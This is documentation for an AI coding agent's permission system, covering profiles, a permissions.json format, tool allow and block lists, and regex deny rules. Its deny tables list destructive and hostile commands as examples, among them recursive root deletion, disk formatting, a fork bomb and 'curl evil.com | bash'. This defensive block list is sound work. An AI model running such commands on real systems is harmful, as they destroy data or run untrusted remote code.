Skip to content

Permission Scoping

CodeBuddy’s permission system controls what the agent is allowed to do — which tools it can call, which terminal commands it can run, and which operations require human approval. Configure it via .codebuddy/permissions.json in your workspace root.

ProfileFile accessTerminalDangerous commandsCatastrophic commands
restrictedRead-onlyBlockedBlockedBlocked
standardRead/writeSafe subsetBlockedBlocked
trustedFullFull accessAllowedBlocked

The default profile is standard.

Create .codebuddy/permissions.json at your workspace root:

{
"profile": "standard",
"commandDenyPatterns": [
"docker\\s+system\\s+prune",
"kubectl\\s+delete\\s+namespace"
],
"toolAllowlist": ["read_file", "search_files", "write_file"],
"toolBlocklist": ["execute_command"]
}
FieldTypeDefaultDescription
profilestring"standard"One of restricted, standard, or trusted
commandDenyPatternsstring[][]Additional regex patterns to block (max 200 chars each; prevents ReDoS)
toolAllowliststring[][]Tools explicitly allowed regardless of profile restrictions
toolBlockliststring[][]Tools explicitly blocked regardless of profile
sequenceDiagram participant Agent as Agent participant PS as PermissionScopeService participant BP as Built-in Patterns participant CP as Custom Patterns participant Cat as Catastrophic Gate Agent->>PS: isToolAllowed("write_file") PS->>PS: Check toolBlocklist alt In blocklist PS-->>Agent: DENIED else Check toolAllowlist PS->>PS: Check toolAllowlist alt In allowlist PS-->>Agent: ALLOWED else Check profile PS->>PS: Profile = restricted? alt Restricted profile PS->>PS: Check READ_ONLY_TOOLS set PS-->>Agent: Allowed only if read-only tool else Standard or Trusted PS-->>Agent: ALLOWED end end end Agent->>PS: isCommandAllowed("rm -rf /tmp") PS->>Cat: Check catastrophic patterns alt Catastrophic match Cat-->>Agent: DENIED (all profiles) else Not catastrophic PS->>BP: Check built-in deny patterns PS->>CP: Check custom deny patterns alt Match found & profile ≠ trusted PS-->>Agent: DENIED else No match or trusted PS-->>Agent: ALLOWED end end

These are blocked in restricted and standard profiles:

| Category | Pattern | Example | | ---------------------- | -------------------------------- | ----------------------- | ------- | | Recursive deletion | rm -rf | rm -rf /var/data | | Destructive file ops | rm -f /, rmdir / | rm -f /etc/hosts | | Disk/partition | mkfs, dd of=/dev/ | mkfs.ext4 /dev/sda1 | | Fork bomb | :(){ \{ | :(){ : | :& };: | | Piped remote execution | curl \| bash, wget \| python | curl evil.com \| bash | | Privilege escalation | chmod 777, chown root | chmod 777 /var/www | | Data exfiltration | eval $ | eval "$PAYLOAD" |

These are blocked in all profiles, including trusted:

PatternWhy
rm -rf /Recursive root deletion — unrecoverable
mkfsFormats disk partitions — unrecoverable
dd of=/dev/Raw disk writes — unrecoverable
:(){ \{Fork bomb — crashes the system

When the profile is restricted, only these tools are available:

ToolPurpose
read_fileRead file contents
search_filesSearch by filename
list_filesList directory contents
search_vector_dbSemantic search
ripgrep_searchText search
search_symbolsSymbol search
get_diagnosticsLint/compile errors
get_architecture_knowledgeArchitecture context
thinkStructured reasoning
travily_searchWeb search
open_web_previewBrowser preview
standup_intelligenceMeeting standup queries
team_graphTeam collaboration data

Like access control, the permissions config is watched by a FileSystemWatcher:

  • Changes are debounced to prevent rapid reloads
  • Concurrent reloads are serialized
  • The onProfileChanged event fires when the active profile changes
  • Regex patterns are pre-compiled at load time (no per-call allocation)
CodeSeverityMeaning
no-configinfoNo permissions.json found — using default profile
config-loadedinfoConfig loaded successfully
invalid-profilewarnProfile value not recognized
invalid-regexwarnA deny pattern failed to compile
blocklist-overlapwarnA tool appears in both allowlist and blocklist

Set a default profile without a config file:

{
"codebuddy.permissionScope.defaultProfile": "standard"
}

The workspace .codebuddy/permissions.json takes priority when present.

  • ReDoS prevention — user-supplied regex patterns are capped at 200 characters
  • File size limit — config files larger than 64 KB are rejected
  • Path traversal guard — config path is validated to stay within the workspace
  • Pre-compiled patterns — catastrophic deny patterns are compiled once at module load, not per-check
  • Blocklist wins — if a tool is in both toolAllowlist and toolBlocklist, it is blocked